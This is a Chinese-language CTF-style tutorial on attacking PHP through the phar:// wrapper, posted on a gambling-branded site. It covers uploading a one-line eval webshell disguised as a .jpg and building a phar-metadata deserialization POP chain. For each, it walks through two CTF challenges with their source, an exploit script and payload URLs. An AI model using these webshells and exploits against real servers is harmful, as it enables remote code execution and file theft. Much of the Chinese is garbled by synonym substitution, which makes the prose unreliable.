Phar的一些利用要领 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Phar的一些利用要领

申博_新闻事件 申博 235次浏览 已收录 0个评论

Phar的简述

翻译自手册:
phar是什么?Phar归档最好的特点是能够方便地将多个文件组合成一个文件。因而,phar归档供应了一种要领,能够将完全的PHP应用程序分发到单个文件中,并从该文件运转它,而不需要将其提取到磁盘。另外,PHP能够像实行任何其他文件一样轻松地实行phar归档,无论是在命令行上照样在web服务器上。

应用姿态一:绕过上传限定

例子

应用Phar://伪协定流能够Bypass一些上传的waf,大多数情况下和文件包罗一同应用,就类似于我们的紧缩包(实在就是一个紧缩包),只不外我们换了一种体式格局去实行罢了
写一段小代码测试一下:
test.php

<?php @eval($_POST["cmd"]);?>

然后将test.php紧缩,将紧缩文件改后缀为.jpg
index.php

<?php 
include('phar://./test.jpg/test.php');
?>

胜利包罗

Phar的一些利用要领

例题:安恒11月月赛:image_up

信息网络:

http://101.71.29.5:10043/index.php?page=login
实验伪协定读取一波源码

http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=

base64解码
index.php

<?php
  if(isset($_GET['page'])){
    if(!stristr($_GET['page'],"..")){
      $page = $_GET['page'].".php";
      include($page);
    }else{
      header("Location: index.php?page=login");
    }
  }else{
    header("Location: index.php?page=login");
  }

login.php

<?php
  if(isset($_POST['username'])&&isset($_POST['password'])){
    header("Location: index.php?page=upload");
    exit();
  }
?>

upload.php

<?php
    $error = "";
    $exts = array("jpg","png","gif","jpeg");
    if(!empty($_FILES["image"]))
    {
        $temp = explode(".", $_FILES["image"]["name"]);
        $extension = end($temp);
        if((@$_upfileS["image"]["size"] < 102400))
        {
            if(in_array($extension,$exts)){
              $path = "uploads/".md5($temp[0].time()).".".$extension;
              move_uploaded_file($_FILES["image"]["tmp_name"], $path);
              $error = "上传胜利!";
            }
        else{
            $error = "上传失利!";
        }

        }else{
          $error = "文件过大,上传失利!";
        }
    }

?>

剖析:

从upload.php能够看出只能上传(”jpg”,”png”,”gif”,”jpeg”)文件,而且再index.php中在包罗的文件背面强行加了”.php”,间接包罗图片文件显着不能够了,于是就用到了我们的Phar伪协定流,将我们的一句话木马打包成紧缩包,然后再将后缀改成.jpg,如许就可以经由过程Phar伪协定去包罗我们的一句话木马了。
这题有一个坑点,就是时候戳的题目:

$path = "uploads/".md5($temp[0].time()).".".$extension;

这里要time()+8*3600,时区分歧以是要加上8小时

payload:

/index.php?page=phar://./uploads/6b19a5399b7d34fbb3c509ca8c25fd89.jpg/1

菜刀衔接便可getflag
Phar的一些利用要领

Phar的一些利用要领

应用姿态二:Phar反序列化漏洞

我们一样平常应用反序列漏洞,一样平常都是借助unserialize()函数,不外跟着人们平安的认识的进步这类漏洞应用越来越来难了,但是在往年8月份的Blackhat2018大会上,来自Secarma的平安研究员Sam Thomas报告了一种进击PHP应用的新体式格局,应用这类要领能够在不应用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是应用Phar:// 伪协定读取phar文件时,会反序列化meta-data贮存的信息。

Phar文件组织

Phar文件重要包罗三至四个局部:

1. A stub

stub的基础组织:<?php HALT_COMPILER();,stub必需以HALT_COMPILER();来作为完毕局部,否则Phar拓展将不会辨认该文件。

2. a manifest describing the contents

Phar文件中被紧缩的文件的一些信息,个中Meta-data局部的信息会以反序列化的情势贮存,这里就是漏洞应用的症结点
Phar的一些利用要领

3. the file contents

被紧缩的文件内容,在没有特殊要求的情况下,这个被紧缩的文件内容能够随意写的,由于我们应用这个漏洞重要是为了触发它的反序列化

4. a signature for verifying Phar integrity

署名花样
Phar的一些利用要领

小测试

既然都晓得Phar文件的基础组织了,那末我们就写一段代码来测试一下
PS:php.ini中必需设置phar.readonly=Off,否则Phar文件就会没法天生。

<?php
    class Test{
        public $test="test";
    }
    @unlink("test.phar");
    $phar = new Phar("test.phar"); //后缀名必需为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new Test();
    $phar->setMetadata($o); //将自界说的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //增加要紧缩的文件
    $phar->stopBuffering();    //署名主动盘算
?>

检察一下phar文件的组织,能够看到Meta-data的内容是以反序列的情势贮存的。
Phar的一些利用要领

那序列化局部的内容怎样反序列呢?
在应用Phar:// 协定流剖析Phar文件时,Meta-data中的内容都邑举行反序列化
小trick:体系文件操纵的函数一样平常都能应用伪协定流,Phar:// 也是ok的
写一段小代码测试一下:

<?php
class Test{
    function __destruct(){
        echo "test";
    }
}
file_get_contents("phar://./test.phar/test.txt");
?>

能够看到胜利触发了反序列化

Phar的一些利用要领

实战应用

一样平常情况下,应用Phar反序列漏洞有几个前提:

能够上传Phar文件
有能够应用的把戏要领
文件操纵函数的参数可控

例题:SWPUCTF2018 SimplePHP

信息网络

这题有两个功用:1.检察文件。2.上传文件
按流程走一下,先检察一波源码
file.php

<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
    echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
    $show->source = $file;
    $show->_show();
} else if (!empty($file)){
    die('file doesn\'t exists.');
}
?>

upload_file.php:

<?php 
include 'function.php';
upload_file();
?>

function.php

<?php 
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
    //mkdir("upload",0777);
    if(file_exists("upload/" . $filename)) {
        unlink($filename);
    }
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
    echo '<script type="text/javascript">alert("上传胜利!");</script>';
}
function upload_file() {
    global $_FILES;
    if(upload_file_check()) {
        upload_file_do();
    }
}
function upload_file_check() {
    global $_FILES;
    $allowed_types = array("gif","jpeg","jpg","png");
    $temp = explode(".",$_FILES["file"]["name"]);
    $extension = end($temp);
    if(empty($extension)) {
        //echo "<h4>请挑选上传的文件:" . "<h4/>";
    }
    else{
        if(in_array($extension,$allowed_types)) {
            return true;
        }
        else {
            echo '<script type="text/javascript">alert("Invalid file!");</script>';
            return false;
        }
    }
}
?>

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

剖析:

file.php中用了file_exists()函数推断读取的文件是不是存在,而且源码内里通知你flag在f1ag.php内里,以是预测考核用Phar反序列化去读取flag。
简朴地阅读一下一切的php代码发明只需两个读取体系文件的函数:

highlight_file()
file_get_contents()

pop链剖析
起首看到Show类中的_show要领:
Phar的一些利用要领

能够看到f1ag被ban了,highlight_file应用不了
然后再看到Test类内里的file_get要领有file_get_contents函数,再回首file_get是在get要领内里挪用的,而get要领是经由过程触发把戏要领__get()去挪用的

__get():猎取类中的一个弗成接见属性或者是不存在的属性会挪用此要领

那末我们怎样去触发__get呢?再回到类Show中看到

Phar的一些利用要领

看到这里思绪就很清楚了,只需我们把Test实例化的工具存储在str的数组中,然后再去挪用source属性(即Test中不存在的属性),就可以够触发__get()了。那末我们怎样触发__toString()呢?

__toString():将一个实例化工具当作一个字符串来应用时,会主动挪用该要领

在看到C1e4r类内里,看到__destruct()恰好有对字符串的输入

Phar的一些利用要领
全部pop链就很清楚了,最初就是写exp了

编写exp

<?php
class C1e4r{
    public $test;
    public $str;
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $file;
    public $params = array();
}
    @unlink("test.phar");
    $phar = new Phar("test.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $fun1 = new C1e4r();
    $fun2 = new Show();
    $fun3 = new Test();
    $fun3->params['source']="/var/www/html/f1ag.php";
    $fun2->str = array('str'=>$fun3);
    $fun1->str = $fun2;
    $phar->setMetadata($fun1);
    $phar->addFromString("test.txt", "test"); 
    $phar->stopBuffering();
?>

组织文件名

$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";

最初的payload

http://120.79.158.180:11115/file.php?file=phar://./upload/7bd59e11d401afdf6c1d291a33a940b2.jpg

getflag:

Phar的一些利用要领


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Phar的一些利用要领
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址